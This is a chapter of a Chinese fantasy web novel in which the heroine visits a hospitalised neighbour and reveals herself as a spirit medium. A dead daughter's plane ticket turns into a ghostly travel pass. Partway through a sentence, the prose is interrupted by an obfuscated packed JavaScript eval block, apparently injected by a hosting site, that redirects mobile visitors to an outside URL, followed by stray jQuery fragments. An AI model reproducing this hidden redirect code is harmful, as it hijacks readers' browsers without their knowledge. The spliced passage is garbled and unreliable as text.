23. 机票(五)

作品:《我给管家修房子

    外公家的惊慌顾时柳没有看到,但差不多也可以猜测出来,毕竟偏僻的山村中最忌讳这样的事情,而外公外婆平时也最是讲究这些。一个大活人凭空消失,警察也找不到她的踪迹,而房间中还出现了那样不吉利的文字。


    想必……那间用爸妈意外后的保险金盖起来的房子也会被放弃吧……


    顾时柳靠在床头,看着手机中曾和老人们拍得照片叹了口气。


    来到楼下,风来已经买好了早餐,这让顾时柳觉得有些愧疚。


    虽然他口中说自己是她的管家,但追根究底他是她的救命恩人,而且还帮了她许多,怎么可能真的让他一直照顾自己?


    “风来,以后你可以不用做这些的。”顾时柳摆好早餐说道。


    他挑了挑眉,“时柳这是什么意思?我是你的管家自然要照顾好你,难不成你要和我分道扬镳?”


    顾时柳焦急地解释,“你知道我不是这个意思!”昨天她说话是有些重,但也没什么毛病啊,外公外婆本来就养大了她,她不会让风来动手杀了他们,就因为这个他还在生气。


    “那就不用再说什么了,我愿意。”风来淡淡地说道。


    顾时柳鼓了鼓嘴,狠狠地咬了一大口包子,这人真是!


    “对了,我早上听说了王奶奶住院了。”


    “芒买买?”顾时柳包子咬得太多,嘴巴倒不过来,连话都说不清楚。急忙端起豆浆顺了一口才疑惑地问道:“王奶奶?王莹的妈妈?”


    风来点头,“就在附近的第一医院,好像是高血压犯了。”


    顾时柳叹为观止地看着他,以前在村子里住的时候只有他们两个人,虽然觉察出了风来对于现代社会的适应,但搬到了这里之后才发现他简直是如鱼得水。


    不提对于现代科技的运用,就连高血压这样的词语他都能说出来。


    “你知道高血压什么意思吗?”顾时柳突然放下手里的杯子好奇地问道。


    “你要是再和我说什么‘你的我的’、‘不用你管’、‘分道扬镳’之类的话,我也会被你气出高血压。”他瞥了她一眼勾起嘴角,将鸡蛋皮扔在了桌子上。


    顾时柳有些尴尬,他怎么又提起这话,本来他们的关系就没好到和他不分你我啊!


    风来也知道自己是为难了她,不再多说什么,只问:“你等下要去看她吗?”


    “当然要去!”


    滴滴的司机还没来,顾时柳好奇地看着邻居家的别墅,“昨天你有听到什么声音吗?”


    风来瞥了那里一眼,“好像有人在弹琴。”


    顾时柳这才反应过来昨天晚上听到的是什么,看了看风来,再回忆一下昨晚依稀听到的,觉得这应该是古琴一类。


    她琢磨着可能是邻居家里有人在练琴,也是,这里不像市区人口密集,正是练习乐器的好去处。可是……大半夜弹琴,会不会有点过于热爱?


    念头在顾时柳的脑海中一闪而过,没留下什么太深的印象。


    虽然是郊区的第一医院,整体规模比不上那些市区中心的全国重点,但到底是在帝都,人还是不少的。


    带着水果问到了王奶奶的病房,顾时柳礼貌地敲门,开门的是另外一位老人。


    “您好,我来看看大娘。”她试探地看着眼前的老人,他的眼中是深深的疲惫。


    “进来吧。”老人侧过身子,等两人进来后又轻轻关上房门,这才慢慢走过来。


    病房里一共两间病床,大娘住在靠窗的位置,靠近门口的是另一位正在熟睡的奶奶。


    “大娘,您怎么样?”


    王大娘看见他们眼睛亮了一下,“丫头,你们怎么来的?”


    “我朋友听说您住院了,昨天不是还好好的?”


    王大娘笑了笑,“没什么大事,高血压犯了。”


    “我外公也有高血压,就得时刻注意着,不能总生气。”顾时柳斟酌着措辞,人家现在住院呢,实在不是提起王莹的时候。


    “家里有个毛驴儿,能不生气吗?”王大娘摆了摆手,见顾时柳眼露好奇才敛了笑意,“我外孙子,不想着学习,天天就想着玩儿,把家里弄得鸡飞狗跳的!”


    她摆了摆手,“不说他了,老王,你给……”她迟疑了一下,顾时柳急忙接过,“我叫顾时柳。”


    “给小顾和她对象洗点水果,别光坐着。”


    “不用,大娘,我们坐坐就走。”顾时柳想要拒绝,但大爷已经拿起了水果走了出去。


    “你不是老王的亲戚呀?”另一边原本熟睡的奶奶突然坐了起来,看着她和王大娘好奇地问道,只是……语气实在称不上友善。


    顾时柳笑了笑,“王大娘人好,虽然我们认识不久,但我觉得和她很投缘。”


    那个大娘撇了撇嘴,“老王,你别逮着一个就对人家掏心掏肺,现在这社会多乱啊!”言下之意,顾时柳接近王大娘是有目的的。


    “老赵,你可别瞎说,人家小顾可不是那样的人。”王大娘白了她一眼,“你要是不愿意听你就接着睡觉。”


    “你们说话那么大声谁睡得着啊?”赵大娘也是得理不饶人,王大娘不惯着她臭毛病,见顾时柳想要说什么一把拉住她的手,“那你就忍着!”


    顾时柳有些惊讶地看着她,王大娘见她如此笑了笑,“怎么?没想到我这么跋扈?”


    她急忙摇头,“怎么会?只是……”她有些犹豫,“之前看您说话都是细声细语的,没想到还有这么利落的一面。”


    “她利落?”赵大娘冷哼一声,见老王面露不善不再多说,掀了被子去外面溜达了。


    “别听她掰扯。”王大娘指着那边,“心眼歪,闺女儿子都不待见她,看谁都不顺眼。”


    顾时柳不在意地摇头,听到她提到闺女儿子,“您外孙子没来吗?”她不敢提起儿女,只是旁敲侧击。


    王大娘见她这样了然,“你是想说我的孩子呢?”


    顾时柳摸了摸鼻子,有些不好意思地点头。


    她叹了口气,“我家那点事儿,这一片儿都知道。”


    没有任何藏着掖着,她把关于王莹的事儿说了出来。


    “你说说她,怎么就这么犟呢?那该什么年纪就得做什么事儿,她非得留在国外工作,说得好听是一心扑在事业上,那……不知道的还以为她有什么毛病呢?”


    “玉波!”王大爷正好洗完水果,听她这么说脸沉了下来。


    王大娘有些讪讪,叹了口气,“或许是母子连心,我外孙子总喜欢在她以前的房间玩儿,这回不知道从哪翻出了一张机票,让我想起了从前的事儿,这不,直接到医院来了。”


    “哼,我看你就是放不下,这都多少年了,还对这些事儿耿耿于怀!”王大爷也叹着气说。


    “那你呢,你能放下的话,为什么把还留着那张机票!”王大娘指着他义愤填膺,“从小你就惯着她!我说不让她出国你偷偷帮她出去,等让她回国你又说孩子大了有主意,结果呢!一步一步!把我的莹莹变成了一座坟墓!”老太太头发已经花白,事情过去许多年,提起女儿的死仍然无法释怀。


    顾时柳抱住王大娘,慢慢拍着她的背安抚她,还悄悄按照风来的教的法子用灵力护住她的身体。


    “呜呜呜……不……不对啊……”王大娘哭着哭着突然想起了什么,她猛地抓住顾时柳的外套,抬头看向王大爷,“那张机票,我当时已经撕了啊!”


    一片一片。恼怒她生了孩子却不负责,每天只顾着自己。更恼怒她顾着自己却顾不到点儿上,就算想要出国工作,也要养好自己的身体。所以发现那张机票后她一个生气,把机票撕得碎的不能再碎。


    王大爷听她这么说也愣了一下,“不是我拼的,我当时……怕睹物思人,给扔了。”


    他们两个虽然年纪大了,但关于那天的事情刻骨铭心,怎么能忘记?也不敢忘记。


    顾时柳看着两人惊疑不定的神情,觉得自己嗅到了一丝不一般的味道。


    王莹的家在一座高档小区中,大平层的房间宽敞明亮,但与地面的距离也高得吓人。


    “就是在这。”王大娘指着朝南的房间抹了抹湿润的眼角,“平时就算那小子在这,我也不让他睡这里。”


    顾时柳慢慢走进观察着,虽然很久没有住人,但这里仍然干净整洁,他们一定是好好照顾着这里,仿佛女儿还在。


    窗户宽敞,但与整个房子的装修风格却大不一样,不仅窗外加上了防护栏,甚至在房间里面也交叉钉上了钢条,旁边的绿萝被按照一定的规划在上面盘旋缠绕,明明生机盎然,却又有暗影照在地上。


    “小顾,你真要看那张机票?”王大娘有些担忧,“那东西……”


    “大娘,或许,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936238|192189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我能帮你呢。”顾时柳看着地上的影子低声说。夫妇两个看着她和风来的样子面面相觑。


    这个小丫头怎么神神秘秘的?


    “你到底什么意思?”王大娘警惕地看着她,只不过几面之缘就特地来医院看她可以说她心善,但听说了机票的事情也丝毫不惊慌,不是个简单的。


    顾时柳心中叹气,看来还是要走到这一步。


    “其实……我是个通灵师。”深吸一口气,她忍着羞耻庄重说道。


    风来在一旁深沉点头,眼中则划过了一丝笑意。


    “什么东西?”两人震惊地看着她。


    “就是你们想得那个样子。”顾时柳故作深沉,“大娘之前不是提醒我搬出那栋别墅吗,我知道您是好心,可那正是我住在那里的目的。”


    “你是冲着闹鬼去的?”王大娘惊叫。


    “当然。”顾时柳点头,“那里阴阳失衡,阳气微弱而阴气充足,此消彼长,自然会招来些……不太好的东西。”装神弄鬼比对付风来还难。


    两人仍旧将信将疑,顾时柳也不多说,坦荡笑道:“要是没事当然最好,这些事知道太多也不好。”


    虽然觉得顾时柳神神叨叨,但两人年纪已深,当然对一些事情有所耳闻,他们不是怀疑事情本身的真实,而是怀疑顾时柳。


    可人已经在这了,又不好赶出去,王大娘叹了口气,还是示意大爷将机票找出来。


    “这就是那张机票。”王大爷从床头柜中找出,正要交给顾时柳突然顿了一下,“这东西,丫头看看就行,还是别碰了。”


    顾时柳笑了笑,虽然怀疑她是个骗子,但却还是为她着想。


    “放心吧,大爷。”此时的机票在她眼里闪烁着莹润的光芒,正是她曾在那枚玉印上面见到的,念力。


    那张通往敦兰德的机票,在顾时柳放在眉心时慢慢释放光芒,变成了一张泛黄的纸。


    “这是什么?”两个人震惊地看着眼前的景象。


    “这是一张……”“路引。”风来接道。


    “路引?”两人并非无知之人,听到这个名字便反应过来这是什么。


    路引,是古代夏国人民出行时必备的证明,上面包括姓名、人员、目的地、随行物品等方方面面,如果丢了路引,不仅会受罚,严重者还会丧命。


    “可是我家怎么会有这样的东西?”两人不解地问。


    顾时柳看着手中泛黄的纸张,轻嗅了一下。


    嗯,有种阴间的味道。


    “阴阳失衡之后,一些东西便穿过了阴阳间的阻隔来到了这里,王莹姐可能是阴差阳错得到了这个。阳世人虽有欲望但会克制,阴间则正好相反。她当时……最大的心愿可能是离开所处的环境,恰好与路引本身的力量契合,那张机票很可能就是这样出现。”这段时间顾时柳除了搬家之外就是学习,柳梢从特情局拿了很多书来给她参考。


    听到顾时柳这么说,王大娘愣了一下,随后蒙住了脸。


    痛哭的声音回荡在王莹的房间中,顾时柳轻轻叹了口气,将窗户上盘旋的绿萝一点点摘下,“大娘,这盆绿萝,就送给我吧。”


    灿烂的阳光照进房中,透过泪水,两位老人陡然明亮起来的房间久久不语。


    王家的事情告一段落,顾时柳心中百感交集。虽然又获得了一样古物,但王莹和老家的事情还是环绕在她心里。


    “那是什么?”刚戴上草帽想要去后院杂草,顾时柳随意朝着门外瞟了一眼,突然看见那块她和风来挂上的牌匾正在闪闪发光。


    “哦,有小妖怪想要进入文德殿。”风来正将绿萝种在牌匾下方的土地中,帮它捋了捋张牙舞爪的藤蔓,便任由其自由生长。


    “那就放进来啊。”顾时柳有点兴奋,自从开张营业,这还是第一次有客人上门呢!


    风来沉默了一会儿,“当真?”


    顾时柳奇怪地望着他,“怎么?是吓人的妖怪吗?”他不会是担心自己害怕吧?“放心!我已经做好准备了。”她迫不及待地看着拉着风来走进道标。


    “你好,请问,这里就是收容所吗?”怯生生的声音响起,顾时柳目瞪口呆地看着眼前的“客人”……们。


    在土里只冒了个头的“蚯蚓妖”、疯狂啄蚯蚓的小鸡仔、成群结队的蜜蜂妖……


    她这不是收容所,改名叫收养院得了。